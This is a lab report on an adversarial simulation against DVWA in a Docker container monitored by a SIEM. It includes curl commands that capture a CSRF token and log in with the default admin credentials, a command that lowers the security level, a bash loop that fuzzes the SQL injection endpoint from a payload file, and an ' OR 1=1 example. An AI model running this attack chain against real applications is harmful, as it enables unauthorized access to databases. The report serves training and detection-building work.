Laboratory Report: Adversarial Simulation

Topic: SQL Injection Automation and Detection Validation

Environment: Containerized DVWA with SIEM Monitoring

1. Project Overview

This report documents the design and execution of a controlled adversarial simulation targeting a vulnerable web application (DVWA). The laboratory environment was constructed using Docker containerization to isolate the target service, while a Security Information and Event Management (SIEM) system was utilized to monitor host and container telemetry.

The objective of the exercise was to develop a repeatable, automated attack chain to exploit SQL Injection (SQLi) vulnerabilities and to establish baseline detection signatures for defensive monitoring.

2. System Architecture

2.1 Infrastructure Components

- **Endpoint Box:** The host system running Docker, acting as the target environment.
- **Docker Container:** A lightweight, isolated environment hosting the DVWA (Damn Vulnerable Web Application).
- **Attacker Box:** A remote system (Kali/Debian) used to execute the adversarial chain.
- **SIEM Integration:** A monitoring solution ingesting logs from the host to detect malicious HTTP traffic.

> ***Key Concept:*** *Using Docker ensures that attacks do not impact the underlying host OS, creating a "sandboxed" environment for testing.*

What would happen if we attacked the host with the Docker container in this context?

3. The Technical Attack Chain

The attack was executed in five distinct phases, moving from initial reconnaissance to automated exploitation.

Phase 1: Session Initialization and CSRF Bypass

Modern web applications use CSRF (Cross-Site Request Forgery) tokens to validate form submissions. To automate the login, we first had to "snatch" this token from the login page.

```
TOKEN=$(curl -s -c active_session.txt http://192.168.10.100:8080/
login.php | grep -oP "user_token' value='\K[^']+")
```

Once the token was acquired, a POST request was sent to authenticate the session, saving the resulting session cookie to `active_session.txt` for future use.

```
curl -s -b active_session.txt -c active_session.txt \
-d "username=admin&password=password&user_token=$TOKEN&Login=Login" \
http://192.168.10.100:8080/login.php
```

Phase 2: Target Conditioning

Before executing SQLi, the environment must be placed in a known vulnerable state. This involved two steps:

Doesn't show commands for creating table.

1. **Database Setup:** Ensuring the `users` table contains data to leak.
2. **Security Configuration:** Forcing the application into "Low" security mode to bypass input sanitization.

```
# Setting security to low
curl -s -b active_session.txt -c active_session.txt \
-d "security=low&seclevel_submit=Submit" \
http://192.168.10.100:8080/security.php
```

4. Data-Driven Exploitation

4.1 Baseline Establishment

We utilized HTTP response size (in bytes) as a signal for successful exploitation. By establishing a "pulse" of a healthy request, we could identify when a payload returned extra data from the database.

Condition	Observed Size (Bytes)	Interpretation
Login Redirect	1523	Authentication expired; redirected to login.php
Single User (id=1)	1652	Baseline successful search for one record.
Successful SQLi	>4000	Data Leakage; multiple records returned in HTML.

4.2 Automation via Bash Scripting

A fuzzer loop was implemented to iterate through a payload list (`payloads1.txt`). This allowed us to test dozens of injections in seconds rather than typing them manually.

```
while read p; do
  size=$(curl -sL -b active_session.txt -G \
    --data-urlencode "id=$p" \
    --data-urlencode "Submit=Submit" \
    "http://192.168.10.100:8080/vulnerabilities/sqli/" | wc -c)

  echo "Payload: $p | Size: $size"
done < payloads1.txt
```

5. Troubleshooting and Engineering Analysis

5.1 The "302 Redirect" Loop

Throughout the lab, we encountered the "1523 byte" ghost. This was an `HTTP 302 Found` status. It occurred when the server's session table was reset or timed out, causing our session cookie to become invalid.

Resolution: We implemented an "Atomic Reset" script that wiped the local cookie file and re-authenticated the session before every major testing phase.

5.2 Input Validation Walls

We observed that in "Medium" security, the server used `mysql_real_escape_string()` to neutralize single quotes (`'`). This turned a command like `' OR 1=1` into literal text, causing the database to return 0 results (1523 bytes).

6. Terminology Reference

Endpoint	Any device on the edge of a network; in this lab, the server hosting the container.
SIEM	Security Information and Event Management; used for log ingestion and alert generation.
SQLi	SQL Injection; a vulnerability where malicious SQL statements are inserted into entry fields for execution.
CSRF Token	A unique string to protect against unauthorized commands from a user the web app trusts.
Statelessness	The property of HTTP where each request is independent; managed via Cookies/Sessions.

7. Conclusion

This adversarial simulation successfully demonstrated the ability to automate authentication, bypass basic CSRF protections, and execute SQL injection attacks. By

monitoring these activities via a SIEM, an organization can develop robust detection signatures based on URI patterns and anomalous response sizes.